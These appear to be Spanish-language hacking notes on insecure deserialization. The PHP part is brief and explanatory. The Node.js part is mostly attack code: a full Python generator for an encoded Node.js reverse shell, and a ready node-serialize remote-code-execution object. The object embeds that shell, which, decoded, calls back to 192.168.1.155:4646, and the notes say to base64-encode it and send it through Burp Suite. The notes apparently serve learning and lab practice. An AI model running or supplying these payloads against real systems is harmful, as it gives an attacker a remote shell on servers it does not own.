Ataques de Deserialización - Hacking Notes

March 16, 2025  

Índice

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1. [[#Identificar el objeto PHP]]
2. [[#Explotar vulnerabilidad PHP]]
3. [[#Identificar el objeto nodlejs]]
4. [[#Explotar vulnerabilidad nodlejs]]

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Identificar el objeto PHP

• Vemos que si se está tramitando un objeto en la petición

Explicación del contenido del objeto:

• O:8 -> El nombre del objeto tiene 8 caracteres
• s:9 -> String de 9 caracteres
• s:13 -> String de 13 caracteres

Explotar vulnerabilidad PHP

• Para encontrar la vulnerabilidad es necesario analizar mucho la web en búsqueda del script que se emplea a la hora de ejecutar el comando
• A la hora de revisar el script hay que fijarse en si el objeto esta aplicando el concepto de encapsulación, es decir los atributos de la clase deben estar siempre en privados.
• Ejemplo -> [[Cereal#Explotación]]

Identificar el objeto nodlejs

• Interceptamos la petición

Vemos que en la cookie al empezar por “ey” podría indicarse que empieza por {

• Decodeamos la cookie y la modificamos

Explotar vulnerabilidad nodlejs

• Con este script de python creamos la reverse shell

#!/usr/bin/python
# Generator for encoded NodeJS reverse shells
# Based on the NodeJS reverse shell by Evilpacket
# https://github.com/evilpacket/node-shells/blob/master/node_revshell.js
# Onelineified and suchlike by infodox (and felicity, who sat on the keyboard)
# Insecurety Research (2013) - insecurety.net
import sys

if len(sys.argv) != 3:
    print "Usage: %s <LHOST> <LPORT>" % (sys.argv[0])
    sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]


def charencode(string):
    """String.CharCode"""
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

print "[+] LHOST = %s" % (IP_ADDR)
print "[+] LPORT = %s" % (PORT)
NODEJS_REV_SHELL = '''
var net = require('net');
var spawn = require('child_process').spawn;
HOST="%s";
PORT="%s";
TIMEOUT="5000";
if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }
function c(HOST,PORT) {
    var client = new net.Socket();
    client.connect(PORT, HOST, function() {
        var sh = spawn('/bin/sh',[]);
        client.write("Connected!\\n");
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
        sh.on('exit',function(code,signal){
          client.end("Disconnected!\\n");
        });
    });
    client.on('error', function(e) {
        setTimeout(c(HOST,PORT), TIMEOUT);
    });
}
c(HOST,PORT);
''' % (IP_ADDR, PORT)
print "[+] Encoding"
PAYLOAD = charencode(NODEJS_REV_SHELL)
print "eval(String.fromCharCode(%s))" % (PAYLOAD)

• Vemos como se crea el objeto

{"rce":"_$$ND_FUNC$$_function(){\n require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }"}

• Creamos el objeto con la reverse shell

{"rce":"_$$ND_FUNC$$_function(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,57,50,46,49,54,56,46,49,46,49,53,53,34,59,10,80,79,82,84,61,34,52,54,52,54,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

• Lo pasamos a base64 y lo mandamos por burpsuite

  cat data | base64 -w 0;echo